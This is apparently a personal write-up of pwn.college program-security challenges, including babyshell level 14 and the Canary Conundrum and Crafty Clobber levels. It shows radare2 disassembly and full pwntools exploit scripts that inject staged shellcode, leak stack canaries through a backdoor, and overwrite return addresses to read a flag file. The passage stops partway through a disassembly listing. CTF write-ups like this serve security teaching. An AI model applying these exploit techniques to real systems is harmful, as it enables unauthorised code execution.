│ 0x0000156f be00000000 mov esi, 0 ; char *buf
│ 0x00001574 4889c7 mov rdi, rax ; FILE*stream
│ 0x00001577 e854fcffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│ 0x0000157c 488b058d2a.. mov rax, qword [obj.stdout] ; obj.__TMC_END__
│ ; [0x4010:8]=0
│ 0x00001583 b900000000 mov ecx, 0 ; size_t size
│ 0x00001588 ba02000000 mov edx, 2 ; int mode
│ 0x0000158d be00000000 mov esi, 0 ; char *buf
│ 0x00001592 4889c7 mov rdi, rax ; FILE*stream
│ 0x00001595 e836fcffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│ 0x0000159a 488d3d240c.. lea rdi, [0x000021c5] ; "###" ; const char *s
│ 0x000015a1 e88afbffff call sym.imp.puts ; int puts(const char *s)
│ 0x000015a6 488b45d0 mov rax, qword [var_30h]
│ 0x000015aa 488b00 mov rax, qword [rax]
│ 0x000015ad 4889c6 mov rsi, rax
│ 0x000015b0 488d3d120c.. lea rdi, str._Welcome_to__s__n ; 0x21c9 ; "### Welcome to %s!\n" ; const char *format
│ 0x000015b7 b800000000 mov eax, 0
│ 0x000015bc e8affbffff call sym.imp.printf ; int printf(const char *format)
│ 0x000015c1 488d3dfd0b.. lea rdi, [0x000021c5] ; "###" ; const char *s
│ 0x000015c8 e863fbffff call sym.imp.puts ; int puts(const char *s)
│ 0x000015cd bf0a000000 mov edi, 0xa ; int c
│ 0x000015d2 e849fbffff call sym.imp.putchar ; int putchar(int c)
│ 0x000015d7 488d3d020c.. lea rdi, str.This_challenge_reads_in_some_bytes__modifies_them__depending_on_the_specific_challenge_configuration___and_executes_them ; 0x21e0 ; "This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them" ; const char *s
│ 0x000015de e84dfbffff call sym.imp.puts ; int puts(const char *s)
│ 0x000015e3 488d3d760c.. lea rdi, str.as_code__This_is_a_common_exploitation_scenario__called__code_injection_._Through_this_series_of_challenges__you_will ; 0x2260 ; "as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will" ; const char *s
│ 0x000015ea e841fbffff call sym.imp.puts ; int puts(const char *s)
│ 0x000015ef 488d3de20c.. lea rdi, str.practice_your_shellcode_writing_skills_under_various_constraints__To_ensure_that_you_are_shellcoding__rather_than_doing ; 0x22d8 ; "practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing" ; const char *s
│ 0x000015f6 e835fbffff call sym.imp.puts ; int puts(const char *s)
│ 0x000015fb 488d3d4e0d.. lea rdi, str.other_tricks__this_will_sanitize_all_environment_variables_and_arguments_and_close_all_file_descriptors___2._n ; 0x2350 ; "other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.\n" ; const char *s
│ 0x00001602 e829fbffff call sym.imp.puts ; int puts(const char *s)
│ 0x00001607 c745ec0300.. mov dword [fildes], 3
│ ┌─< 0x0000160e eb0e jmp 0x161e
│ │ ; CODE XREF from main @ 0x1625(x)
│ ┌──> 0x00001610 8b45ec mov eax, dword [fildes]
│ ╎│ 0x00001613 89c7 mov edi, eax ; int fildes
│ ╎│ 0x00001615 e886fbffff call sym.imp.close ; int close(int fildes)
│ ╎│ 0x0000161a 8345ec01 add dword [fildes], 1
│ ╎│ ; CODE XREF from main @ 0x160e(x)
│ ╎└─> 0x0000161e 817dec0f27.. cmp dword [fildes], 0x270f ; '\x0f\''
│ └──< 0x00001625 7ee9 jle 0x1610
│ 0x00001627 488b45d0 mov rax, qword [var_30h]
│ 0x0000162b 488945f0 mov qword [s], rax
│ ┌─< 0x0000162f eb2b jmp 0x165c
│ │ ; CODE XREF from main @ 0x1666(x)
│ ┌──> 0x00001631 488b45f0 mov rax, qword [s]
│ ╎│ 0x00001635 488b00 mov rax, qword [rax]
│ ╎│ 0x00001638 4889c7 mov rdi, rax ; const char *s
│ ╎│ 0x0000163b e810fbffff call sym.imp.strlen ; size_t strlen(const char *s)
│ ╎│ 0x00001640 4889c2 mov rdx, rax ; size_t n
│ ╎│ 0x00001643 488b45f0 mov rax, qword [s]
│ ╎│ 0x00001647 488b00 mov rax, qword [rax]
│ ╎│ 0x0000164a be00000000 mov esi, 0 ; int c
│ ╎│ 0x0000164f 4889c7 mov rdi, rax ; void *s
│ ╎│ 0x00001652 e839fbffff call sym.imp.memset ; void *memset(void *s, int c, size_t n)
│ ╎│ 0x00001657 488345f008 add qword [s], 8
│ ╎│ ; CODE XREF from main @ 0x162f(x)
│ ╎└─> 0x0000165c 488b45f0 mov rax, qword [s]
│ ╎ 0x00001660 488b00 mov rax, qword [rax]
│ ╎ 0x00001663 4885c0 test rax, rax
│ └──< 0x00001666 75c9 jne 0x1631
│ 0x00001668 488b45c8 mov rax, qword [var_38h]
│ 0x0000166c 488945f8 mov qword [var_8h], rax
│ ┌─< 0x00001670 eb2b jmp 0x169d
│ │ ; CODE XREF from main @ 0x16a7(x)
│ ┌──> 0x00001672 488b45f8 mov rax, qword [var_8h]
│ ╎│ 0x00001676 488b00 mov rax, qword [rax]
│ ╎│ 0x00001679 4889c7 mov rdi, rax ; const char *s
│ ╎│ 0x0000167c e8cffaffff call sym.imp.strlen ; size_t strlen(const char *s)
│ ╎│ 0x00001681 4889c2 mov rdx, rax ; size_t n
│ ╎│ 0x00001684 488b45f8 mov rax, qword [var_8h]
│ ╎│ 0x00001688 488b00 mov rax, qword [rax]
│ ╎│ 0x0000168b be00000000 mov esi, 0 ; int c
│ ╎│ 0x00001690 4889c7 mov rdi, rax ; void *s
│ ╎│ 0x00001693 e8f8faffff call sym.imp.memset ; void *memset(void *s, int c, size_t n)
│ ╎│ 0x00001698 488345f808 add qword [var_8h], 8
│ ╎│ ; CODE XREF from main @ 0x1670(x)
│ ╎└─> 0x0000169d 488b45f8 mov rax, qword [var_8h]
│ ╎ 0x000016a1 488b00 mov rax, qword [rax]
│ ╎ 0x000016a4 4885c0 test rax, rax
│ └──< 0x000016a7 75c9 jne 0x1672
│ 0x000016a9 41b900000000 mov r9d, 0 ; size_t offset
│ 0x000016af 41b800000000 mov r8d, 0 ; int fd
│ 0x000016b5 b922000000 mov ecx, 0x22 ; '\"' ; int flags
│ 0x000016ba ba07000000 mov edx, 7 ; int prot
│ 0x000016bf be00100000 mov esi, sym._init ; 0x1000 ; size_t length
│ 0x000016c4 bf0000f019 mov edi, 0x19f00000 ; void*addr
│ 0x000016c9 e892faffff call sym.imp.mmap ; void*mmap(void*addr, size_t length, int prot, int flags, int fd, size_t offset)
│ 0x000016ce 4889056329.. mov qword [obj.shellcode], rax ; [0x4038:8]=0
│ 0x000016d5 488b055c29.. mov rax, qword [obj.shellcode] ; [0x4038:8]=0
│ 0x000016dc 483d0000f019 cmp rax, 0x19f00000
│ ┌─< 0x000016e2 741f je 0x1703
│ │ 0x000016e4 488d0dde0d.. lea rcx, obj.__PRETTY_FUNCTION__.25265 ; 0x24c9 ; "main" ; const char *function
│ │ 0x000016eb ba62000000 mov edx, 0x62 ; 'b' ; unsigned int line
│ │ 0x000016f0 488d35c90c.. lea rsi, str._challenge_babyshell_level_14.c ; 0x23c0 ; "/challenge/babyshell-level-14.c" ; const char *file
│ │ 0x000016f7 488d3de20c.. lea rdi, str.shellcode___void__0x19f00000 ; str.shellcode___void__0x19f00000
│ │ ; 0x23e0 ; "shellcode == (void *)0x19f00000" ; const char *assertion
│ │ 0x000016fe e87dfaffff call sym.imp.__assert_fail ; void __assert_fail(const char *assertion, const char *file, unsigned int line, const char *function)
│ │ ; CODE XREF from main @ 0x16e2(x)
│ └─> 0x00001703 488b052e29.. mov rax, qword [obj.shellcode] ; [0x4038:8]=0
│ 0x0000170a 4889c6 mov rsi, rax
│ 0x0000170d 488d3dec0c.. lea rdi, str.Mapped_0x1000_bytes_for_shellcode_at__p__n ; str.Mapped_0x1000_bytes_for_shellcode_at__p__n
│ ; 0x2400 ; "Mapped 0x1000 bytes for shellcode at %p!\n" ; const char *format
│ 0x00001714 b800000000 mov eax, 0
│ 0x00001719 e852faffff call sym.imp.printf ; int printf(const char *format)
│ 0x0000171e 488d3d0b0d.. lea rdi, str.Reading_0x6_bytes_from_stdin._n ; str.Reading_0x6_bytes_from_stdin._n
│ ; 0x2430 ; "Reading 0x6 bytes from stdin.\n" ; const char *s
│ 0x00001725 e806faffff call sym.imp.puts ; int puts(const char *s)
│ 0x0000172a 488b050729.. mov rax, qword [obj.shellcode] ; [0x4038:8]=0
│ 0x00001731 ba06000000 mov edx, 6 ; size_t nbyte
│ 0x00001736 4889c6 mov rsi, rax ; void *buf
│ 0x00001739 bf00000000 mov edi, 0 ; int fildes
│ 0x0000173e e86dfaffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
│ 0x00001743 488905e628.. mov qword [obj.shellcode_size], rax ; [0x4030:8]=0
│ 0x0000174a 488b05df28.. mov rax, qword [obj.shellcode_size] ; [0x4030:8]=0
│ 0x00001751 4885c0 test rax, rax
│ ┌─< 0x00001754 751f jne 0x1775
│ │ 0x00001756 488d0d6c0d.. lea rcx, obj.__PRETTY_FUNCTION__.25265 ; 0x24c9 ; "main" ; const char *function
│ │ 0x0000175d ba67000000 mov edx, 0x67 ; 'g' ; unsigned int line
│ │ 0x00001762 488d35570c.. lea rsi, str._challenge_babyshell_level_14.c ; 0x23c0 ; "/challenge/babyshell-level-14.c" ; const char *file
│ │ 0x00001769 488d3ddf0c.. lea rdi, str.shellcode_size___0 ; 0x244f ; "shellcode_size > 0" ; const char *assertion
│ │ 0x00001770 e80bfaffff call sym.imp.__assert_fail ; void __assert_fail(const char *assertion, const char *file, unsigned int line, const char *function)
│ │ ; CODE XREF from main @ 0x1754(x)
│ └─> 0x00001775 488d3dec0c.. lea rdi, str.This_challenge_is_about_to_execute_the_following_shellcode:_n ; 0x2468 ; "This challenge is about to execute the following shellcode:\n" ; const char *s
│ 0x0000177c e8aff9ffff call sym.imp.puts ; int puts(const char *s)
│ 0x00001781 488b15a828.. mov rdx, qword [obj.shellcode_size] ; [0x4030:8]=0
│ 0x00001788 488b05a928.. mov rax, qword [obj.shellcode] ; [0x4038:8]=0
│ 0x0000178f 4889d6 mov rsi, rdx ; int64_t arg2
│ 0x00001792 4889c7 mov rdi, rax ; int64_t arg1
│ 0x00001795 e84ffbffff call sym.print_disassembly
│ 0x0000179a 488d3d040d.. lea rdi, [0x000024a5] ; const char *s
│ 0x000017a1 e88af9ffff call sym.imp.puts ; int puts(const char *s)
│ 0x000017a6 488d3df90c.. lea rdi, str.Executing_shellcode__n ; 0x24a6 ; "Executing shellcode!\n" ; const char *s
│ 0x000017ad e87ef9ffff call sym.imp.puts ; int puts(const char *s)
│ 0x000017b2 488b057f28.. mov rax, qword [obj.shellcode] ; [0x4038:8]=0
│ 0x000017b9 4889c2 mov rdx, rax
│ 0x000017bc b800000000 mov eax, 0
│ 0x000017c1 ffd2 call rdx
│ 0x000017c3 488d3df20c.. lea rdi, str._Goodbye_ ; 0x24bc ; "### Goodbye!" ; const char *s
│ 0x000017ca e861f9ffff call sym.imp.puts ; int puts(const char *s)
│ 0x000017cf b800000000 mov eax, 0
│ 0x000017d4 c9 leave
└ 0x000017d5 c3 ret

Solution: Two-stage shellcode

Stage 1 (6 bytes) 用 sys_read 把 Stage 2 读到可执行内存中:

1
2
3
4
5
6
.intel_syntax noprefix
push rax /* rax 进入 shellcode 时是 0,入栈 */
pop rdi /* rdi = 0 (stdin 的 fd) */
push rdx /* rdx 存着当前 shellcode 的内存基址 0x19f00000 */
pop rsi /* rsi = 0x19f00000 (我们要把新代码读到这块可执行内存里) */
syscall /* 触发系统调用 因为 rax 是 0,执行 sys_read */
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python3
import itertools
from pwn import *
import os

context.update(arch="amd64", os="linux")
context.log_level = "error"

target_binary = "/challenge/micro-menace"

stage ="""
.intel_syntax noprefix
push rax
pop rdi
push rdx
pop rsi
syscall
"""

payload = asm(stage)

p = process(target_binary)
p.send(payload)

time.sleep(0.1)

# sys_read 从 0x19f00000 这个起始地址开始写入 Stage 2 数据, add 6 nop to cover the stage 1 data
stage2 = asm("nop;" * 6 + shellcraft.cat("/flag"))
p.send(stage2)

p.interactive()

Canary Conundrum (Easy)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
hacker@program-security~canary-conundrum-easy:~$ /challenge/canary-conundrum-easy
NX bit is disabled

We have disabled the following standard memory corruption mitigations for this challenge:
- the stack is executable. This means that if the stack contains shellcode
and you overwrite the return address with the address of that shellcode, it will execute.

Payload size: 1
# ...
Send your payload (up to 1 bytes)!
1
You sent 1 bytes!
# ...
The program's memory status:
- the input buffer starts at 0x7ffda7bc3890
- the saved frame pointer (of main) is at 0x7ffda7bc3920
- the saved return address (previously to main) is at 0x7ffda7bc3928
- the saved return address is now pointing to 0x570e55560bfd.
- the canary is stored at 0x7ffda7bc3918.
- the canary value is now 0x4991921470004300.

You said: 1
# backdoor triggers a recursive challenge() call with the same canary

Offsets: buf -> canary = 136, buf -> ret = 152

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
hacker@program-security~canary-conundrum-easy:~$ r2 -A -q -c "pdf @ sym.challenge" /challenge/canary-conundrum-easy
┌ 1296: sym.challenge (char **arg1, char **arg2, int64_t arg3);
# ...
│ 0x00001935 488b9560ff.. mov rdx, qword [nbyte] ; size_t nbyte
│ 0x0000193c 488b8568ff.. mov rax, qword [buf]
│ 0x00001943 4889c6 mov rsi, rax ; void *buf
│ 0x00001946 bf00000000 mov edi, 0 ; int fildes
│ 0x0000194b e8f0f7ffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
# read syscall buffer overflow
# ...
│ 0x00001991 89c6 mov esi, eax
│ 0x00001993 488d3d5a0c.. lea rdi, str.You_sent__d_bytes__n ; 0x25f4 ; "You sent %d bytes!\n" ; const char *format
│ 0x0000199a b800000000 mov eax, 0
│ 0x0000199f e88cf7ffff call sym.imp.printf ; int printf(const char *format)
# ...
│ 0x00001a7d bf0a000000 mov edi, 0xa ; int c
│ 0x00001a82 e869f6ffff call sym.imp.putchar ; int putchar(int c)
│ 0x00001a87 488b8568ff.. mov rax, qword [buf]
│ 0x00001a8e 4889c6 mov rsi, rax
│ 0x00001a91 488d3dc70c.. lea rdi, str.You_said:__s_n ; 0x275f ; "You said: %s\n" ; const char *format
│ 0x00001a98 b800000000 mov eax, 0
│ 0x00001a9d e88ef6ffff call sym.imp.printf ; int printf(const char *format)
│ 0x00001aa2 488d3dc70c.. lea rdi, str.This_challenge_has_a_trick_hidden_in_its_code._Reverse_engineer_the_binary_right_after_this_puts__ ; 0x2770 ; "This challenge has a trick hidden in its code. Reverse-engineer the binary right after this puts()" ; const char *s
│ 0x00001aa9 e862f6ffff call sym.imp.puts ; int puts(const char *s)
│ 0x00001aae 488d3d230d.. lea rdi, str.call_to_see_the_hidden_backdoor_ ; 0x27d8 ; "call to see the hidden backdoor!" ; const char *s
│ 0x00001ab5 e856f6ffff call sym.imp.puts ; int puts(const char *s)
│ 0x00001aba 488b8568ff.. mov rax, qword [buf]
# REPEAT syscall strstr
│ 0x00001ac1 488d35310d.. lea rsi, str.REPEAT ; 0x27f9 ; "REPEAT" ; const char *s2
│ 0x00001ac8 4889c7 mov rdi, rax ; const char *s1
│ 0x00001acb e8c0f6ffff call sym.imp.strstr ; char *strstr(const char *s1, const char *s2)
│ 0x00001ad0 4885c0 test rax, rax
│ ┌─< 0x00001ad3 742c je 0x1b01
│ │ 0x00001ad5 488d3d240d.. lea rdi, str.Backdoor_triggered__Repeating_challenge__ ; 0x2800 ; "Backdoor triggered! Repeating challenge()" ; const char *s
│ │ 0x00001adc e82ff6ffff call sym.imp.puts ; int puts(const char *s)
│ │ 0x00001ae1 488b9538ff.. mov rdx, qword [var_c8h] ; int64_t arg3
│ │ 0x00001ae8 488b8d40ff.. mov rcx, qword [var_c0h]
│ │ 0x00001aef 8b854cffffff mov eax, dword [var_b4h]
│ │ 0x00001af5 4889ce mov rsi, rcx ; int64_t arg2
│ │ 0x00001af8 89c7 mov edi, eax ; int64_t arg1
# recursive call have same canary
│ │ 0x00001afa e819fbffff call sym.challenge
│ ┌──< 0x00001aff eb11 jmp 0x1b12
│ ││ ; CODE XREF from sym.challenge @ 0x1ad3(x)
│ │└─> 0x00001b01 488d3d220d.. lea rdi, str.Goodbye_ ; 0x282a ; "Goodbye!" ; const char *s
│ │ 0x00001b08 e803f6ffff call sym.imp.puts ; int puts(const char *s)
│ │ 0x00001b0d b800000000 mov eax, 0
│ │ ; CODE XREF from sym.challenge @ 0x1aff(x)
│ └──> 0x00001b12 488b4df8 mov rcx, qword [canary]
│ 0x00001b16 6448330c25.. xor rcx, qword fs:[0x28]
│ ┌─< 0x00001b1f 7405 je 0x1b26
│ │ 0x00001b21 e8faf5ffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│ │ ; CODE XREF from sym.challenge @ 0x1b1f(x)
│ └─> 0x00001b26 c9 leave
└ 0x00001b27 c3 ret
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/env python3
import re
from pwn import *

context.arch = "amd64"
context.log_level = "info"

def exploit():
p = process("/challenge/canary-conundrum-easy")

# === Phase 1 ===
p.sendlineafter(b"Payload size:", b"6")
p.sendafter(b"!\n", b"REPEAT")

out1 = p.recvuntil(b"You said:").decode()
buf1 = int(re.search(r"buffer starts at (0x[0-9a-f]+)", out1).group(1), 16)
canary = int(re.search(r"canary value is now (0x[0-9a-f]+)", out1).group(1), 16)

log.info(f"[*] 全局 Canary: {hex(canary)}")
log.info(f"[*] 第一层栈基址 (Buf1): {hex(buf1)}")

# === Phase 2: 计算偏移 ===
p.sendlineafter(b"Payload size:", b"6")
p.sendafter(b"!\n", b"REPEAT")

out2 = p.recvuntil(b"You said:").decode()
buf2 = int(re.search(r"buffer starts at (0x[0-9a-f]+)", out2).group(1), 16)

# 栈是向下生长的,计算栈帧大小
frame_size = buf1 - buf2
log.info(f"[*] 栈帧偏移 (Frame Size): {hex(frame_size)}")

# 预测第三次递归
buf3 = buf2 - frame_size
log.info(f"[*] 第三层栈基址 (Buf3): {hex(buf3)}")

# === Phase 3: Payload ===
shellcode = asm(shellcraft.cat("/flag"))

# 152 bytes (buf to ret) + 8 bytes (RIP overwrite)
payload_len = 160
p.sendlineafter(b"Payload size:", str(payload_len).encode())

payload = shellcode
payload = payload.ljust(136, b"\x90") # 填充至 Canary
payload += p64(canary) # 注入正确的 Canary (绕过检测)
payload += b"B" * 8 # 填充 Dummy RBP
payload += p64(buf3) # 覆盖返回地址到 Shellcode

p.sendafter(b"!\n", payload)
p.interactive()

if __name__ == "__main__":
exploit()
# pwn.college{******************************************}

Canary Conundrum (Hard)

1
2
3
4
5
6
7
8
9
10
11
hacker@program-security~canary-conundrum-hard:~$ /challenge/canary-conundrum-hard
###
### Welcome to /challenge/canary-conundrum-hard!
###

Payload size: 1
Send your payload (up to 1 bytes)!
1
You said: 1
Goodbye!
### Goodbye!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
# buf = rbp - 0x70
0x000018d8 488d4590 lea rax, [rbp - 0x70]
0x000018dc 48894588 mov qword [rbp - 0x78], rax
0x000018e0 48c7458000.. mov qword [rbp - 0x80], 0
0x000018e8 488d3d1907.. lea rdi, str.Payload_size: ; 0x2008 ; "Payload size: "
0x000018ef b800000000 mov eax, 0
0x000018f4 e837f8ffff call sym.imp.printf ;[1]
0x000018f9 488d4580 lea rax, [rbp - 0x80]
0x000018fd 4889c6 mov rsi, rax
0x00001900 488d3d1007.. lea rdi, [0x00002017] ; "%lu"
0x00001907 b800000000 mov eax, 0
0x0000190c e84ff8ffff call sym.imp.__isoc99_scanf ;[2]
0x00001911 488b4580 mov rax, qword [rbp - 0x80]
0x00001915 4889c6 mov rsi, rax
0x00001918 488d3d0107.. lea rdi, str.Send_your_payload__up_to__lu_bytes___n ; 0x2020 ; "Send your payload (up to %lu bytes)!\n"
0x0000191f b800000000 mov eax, 0
0x00001924 e807f8ffff call sym.imp.printf ;[1]
0x00001929 488b5580 mov rdx, qword [rbp - 0x80]
0x0000192d 488b4588 mov rax, qword [rbp - 0x78]
0x00001931 4889c6 mov rsi, rax
0x00001934 bf00000000 mov edi, 0
0x00001939 e802f8ffff call sym.imp.read ;[3]
0x0000193e 89857cffffff mov dword [rbp - 0x84], eax
0x00001944 83bd7cffff.. cmp dword [rbp - 0x84], 0
┌─< 0x0000194b 792c jns 0x1979
│ 0x0000194d e8aef7ffff call sym.imp.__errno_location ;[4]
│ 0x00001952 8b00 mov eax, dword [rax]
│ 0x00001954 89c7 mov edi, eax
│ 0x00001956 e825f8ffff call sym.imp.strerror ;[5]
│ 0x0000195b 4889c6 mov rsi, rax
│ 0x0000195e 488d3de306.. lea rdi, str.ERROR:_Failed_to_read_input_____s__n ; 0x2048 ; "ERROR: Failed to read input -- %s!\n"
│ 0x00001965 b800000000 mov eax, 0
│ 0x0000196a e8c1f7ffff call sym.imp.printf ;[1]
│ 0x0000196f bf01000000 mov edi, 1
│ 0x00001974 e8f7f7ffff call sym.imp.exit ;[6]
└─> 0x00001979 488b4588 mov rax, qword [rbp - 0x78]
0x0000197d 4889c6 mov rsi, rax
0x00001980 488d3de506.. lea rdi, str.You_said:__s_n ; 0x206c ; "You said: %s\n"
0x00001987 b800000000 mov eax, 0
0x0000198c e89ff7ffff call sym.imp.printf ;[1]
0x00001991 488b4588 mov rax, qword [rbp - 0x78]
0x00001995 488d35de06.. lea rsi, str.REPEAT ; 0x207a ; "REPEAT"
0x0000199c 4889c7 mov rdi, rax
# backdoor
0x0000199f e8ecf7ffff call sym.imp.strstr ;[7]
0x000019a4 4885c0 test rax, rax
┌─< 0x000019a7 742c je 0x19d5
│ 0x000019a9 488d3dd806.. lea rdi, str.Backdoor_triggered__Repeating_challenge__ ; 0x2088 ; "Backdoor triggered! Repeating challenge()"
│ 0x000019b0 e85bf7ffff call sym.imp.puts ;[8]
│ 0x000019b5 488b9558ff.. mov rdx, qword [rbp - 0xa8]
│ 0x000019bc 488b8d60ff.. mov rcx, qword [rbp - 0xa0]
│ 0x000019c3 8b856cffffff mov eax, dword [rbp - 0x94]
│ 0x000019c9 4889ce mov rsi, rcx
│ 0x000019cc 89c7 mov edi, eax
│ 0x000019ce e86efeffff call 0x1841 ;[9]
┌──< 0x000019d3 eb11 jmp 0x19e6
│└─> 0x000019d5 488d3dd606.. lea rdi, str.Goodbye_ ; 0x20b2 ; "Goodbye!"
│ 0x000019dc e82ff7ffff call sym.imp.puts ;[?]
│ 0x000019e1 b800000000 mov eax, 0
└──> 0x000019e6 488b4df8 mov rcx, qword [rbp - 8]
0x000019ea 6448330c25.. xor rcx, qword fs:[0x28]
┌─< 0x000019f3 7405 je 0x19fa
│ 0x000019f5 e826f7ffff call sym.imp.__stack_chk_fail ;[?]
└─> 0x000019fa c9 leave
0x000019fb c3 ret
;-- main:
0x000019fc f30f1efa endbr64
0x00001a00 55 push rbp
0x00001a01 4889e5 mov rbp, rsp
0x00001a04 4881ec0010.. sub rsp, segment.LOAD1
0x00001a0b 48830c2400 or qword [rsp], 0
0x00001a10 4883ec30 sub rsp, 0x30
0x00001a14 89bdecefffff mov dword [rbp - 0x1014], edi
0x00001a1a 4889b5e0ef.. mov qword [rbp - section..plt], rsi
0x00001a21 488995d8ef.. mov qword [rbp - 0x1028], rdx
0x00001a28 64488b0425.. mov rax, qword fs:[0x28]
0x00001a31 488945f8 mov qword [rbp - 8], rax
0x00001a35 31c0 xor eax, eax
0x00001a37 488b05e225.. mov rax, qword [obj.stdin] ; [0x4020:8]=0
0x00001a3e b900000000 mov ecx, 0
0x00001a43 ba02000000 mov edx, 2
# read() with user-controlled size (buffer overflow point)
0x00001929 488b5580 mov rdx, qword [rbp - 0x80]
0x0000192d 488b4588 mov rax, qword [rbp - 0x78]
0x0000192d 488b4588 mov rax, qword [rbp - 0x78]
0x00001931 4889c6 mov rsi, rax
0x00001934 bf00000000 mov edi, 0
0x00001939 e802f8ffff call sym.imp.read ;[3]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/usr/bin/env python3
from pwn import *

context.arch = "amd64"
context.log_level = "info"

# buf -> canary
offset = 104


def exploit():
p = process("/challenge/canary-conundrum-hard")
# ==========================================
# Phase 1: 探测 Canary
# ==========================================
p.sendlineafter(b"Payload size: ", str(offset + 1).encode())
payload1 = b"REPEAT".ljust(offset, b"A") + b"X"
p.sendafter(b"!\n", payload1)

p.recvuntil(b"You said: ")
p.recv(offset + 1)
leak = p.recv(7)

canary = u64(b"\x00" + leak)

# ==========================================
# Phase 2: 提取 Saved RBP
# ==========================================
p.sendlineafter(b"Payload size: ", str(offset + 9).encode())
payload2 = b"REPEAT".ljust(offset, b"A") + b"Z" + p64(canary)[1:8] + b"Y"
p.sendafter(b"!\n", payload2)

p.recvuntil(b"You said: ")
p.recv(offset + 9)

raw_leak = p.recvuntil(b"\n", drop=True)

# 只截取属于指针的 5 个有效字节,防止栈上的垃圾数据导致解包崩溃
rbp_leak = raw_leak[:5]
rbp = u64((b"\x00" + rbp_leak).ljust(8, b"\x00"))

# Canary 校验只发生在函数即将返回(执行 leave; ret 指令之前)的那一刻。
# 只要程序还在这个循环里处理你的 REPEAT 请求,它就没有执行到函数结尾,也就不会去检查 Canary

# ==========================================
# Phase 3: 完美精确的内存分配
# ==========================================
shellcode = asm(shellcraft.cat("/flag"))

# 必须加上 len(shellcode),否则内核会残酷地将其截断!
payload3_size = offset + 24 + 1000 + len(shellcode)
p.sendlineafter(b"Payload size: ", str(payload3_size).encode())

# 构造 Payload:抵达 Canary -> 填充 Dummy -> 覆写 RIP -> 部署 NOP 滑橇 -> Shellcode
payload3 = b"A" * offset
payload3 += p64(canary)
payload3 += b"B" * 8
payload3 += p64(rbp)
payload3 += b"\x90" * 1000
payload3 += shellcode

p.sendafter(b"!\n", payload3)

result = p.recvall(timeout=1)
if b"pwn.college{" in result or b"flag{" in result:
print(result.decode().strip())
return


if __name__ == "__main__":
exploit()
1
2
3
4
5
6
7
hacker@program-security~canary-conundrum-hard:~$ python a.py
[+] Starting local process '/challenge/canary-conundrum-hard': pid 193
[+] Receiving all data: Done (181B)
[*] Process '/challenge/canary-conundrum-hard' stopped with exit code -11 (SIGSEGV) (pid 193)
You said: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Goodbye!
pwn.college{******************************************}

A Crafty Clobber (Easy)

Write a full exploit involving injecting shellcode, and a method of tricking the challenge into executing your payload.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
hacker@program-security~a-crafty-clobber-easy:~$ /challenge/crafty-clobber-easy
# ...
We have disabled the following standard memory corruption mitigations for this challenge:
- the stack is executable. This means that if the stack contains shellcode
and you overwrite the return address with the address of that shellcode, it will execute.

Payload size: 1
You have chosen to send 1 bytes of input!
This will allow you to write from 0x7ffeab149990 (the start of the input buffer)
right up to (but not including) 0x7ffeab149991 (which is -101 bytes beyond the end of the buffer).
Send your payload (up to 1 bytes)!
1
You sent 1 bytes!

The program's memory status:
- the input buffer starts at 0x7ffeab149990
- the saved frame pointer (of main) is at 0x7ffeab149a10
- the saved return address (previously to main) is at 0x7ffeab149a18
- the saved return address is now pointing to 0x5e1d9f1c9849.
- the canary is stored at 0x7ffeab149a08.
- the canary value is now 0x3fe4e8b1513acc00.

buf to canary -> 120

You said: 1

This challenge has a trick hidden in its code. Reverse-engineer the binary right after this puts()
call to see the hidden backdoor!

This challenge will, by default, exit() instead of returning from the
challenge function. When a process exit()s, it ceases to exist immediately,
and no amount of overwritten return addresses will let you hijack its control
flow. You will have to reverse engineer the program to understand how to avoid
making this challenge exit(), and allow it to return normally.
exit() condition triggered. Exiting!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
hacker@program-security~a-crafty-clobber-easy:~$ r2 -A -q -c "pdf @ sym.challenge" /challenge/crafty-clobber-easy
┌ 1299: sym.challenge (char **arg1, char **arg2, int64_t arg3);
│ `- args(rdi, rsi, rdx) vars(9:sp[0x10..0xc0])
# canary
│ 0x00002284 64488b0425.. mov rax, qword fs:[0x28]
│ 0x0000228d 488945f8 mov qword [canary], rax
│ 0x00002291 31c0 xor eax, eax
│ 0x00002293 488d5580 lea rdx, [s]
│ 0x00002297 b800000000 mov eax, 0
